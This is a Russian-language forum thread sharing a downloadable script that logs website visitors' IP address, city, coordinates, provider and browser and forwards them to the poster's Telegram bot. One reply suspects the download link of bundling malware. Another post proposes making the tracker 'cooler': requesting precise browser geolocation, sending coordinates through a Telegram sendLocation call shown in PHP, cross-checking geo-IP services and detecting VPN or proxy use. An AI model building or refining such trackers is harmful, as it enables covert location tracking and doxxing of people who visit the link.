Cразу скажу что местоположение не точное, ибо данные чекаются по IP. Что нужно для установки? Вводим чат id и токен бота в скрипт Закидываем на любой хостинг. И всё По желанию если знаете html и css можете стилизовать сайт. IP Адрес✅ Страна✅ Регион✅ Город✅ Местное время✅ Широта и Долгота✅ Интернет провайдер✅ Браузер и User-Agent✅ https://file.com.ru/adwJ0jX89FKt9A3/file
и чо эт за ссылка? там реклама? взял паблик залупу и залил на сайт с рекламой и который подшивает екзешники с вирусней в архив?
Вот несколько идей, как можно сделать скрипт «круче» и повысить точность определения местоположения: Использование браузерной геолокации (HTML5 API): Сейчас геолокация основана только на IP-адресе, что не всегда точно. Если вы добавите на клиенте JavaScript с запросом на получение точного местоположения (navigator.geolocation), то сможете получить координаты с точностью до нескольких метров (при согласии пользователя). Полученные данные можно отправить на сервер (например, через AJAX) и включить в сообщение. Отправка местоположения в виде «location message» в Telegram: Вместо того чтобы передавать только текст с координатами, можно использовать метод Telegram Bot API sendLocation. Тогда, если координаты получены, бот покажет их на карте: $locationUrl = "https://api.telegram.org/bot{$token}/sendLocation?chat_id={$chat_id}&latitude={$latitude}&longitude={$longitude}"; file_get_contents($locationUrl); PHP $locationUrl = "https://api.telegram.org/bot{$token}/sendLocation?chat_id={$chat_id}&latitude={$latitude}&longitude={$longitude}"; file_get_contents($locationUrl); Комбинирование нескольких геолокационных сервисов: IP-геолокация не всегда точна. Можно добавить обращение к альтернативным API (например, ipinfo.io или ipdata.co ) и сравнивать результаты. Это позволит повысить надежность, а в случае недоступности одного из сервисов – использовать другой. Расширенная обработка данных: Распознавание устройства и браузера: Используйте библиотеки для парсинга User-Agent (например, Mobile Detect ) для более детального анализа устройства пользователя. Проверка на ***/******: Некоторые сервисы предоставляют информацию о том, используется ли *** или ******, что может быть полезно в зависимости от ваших целей. Обратное DNS-резолвинг: Попробуйте добавить обратное разрешение IP-адреса для получения доменного имени.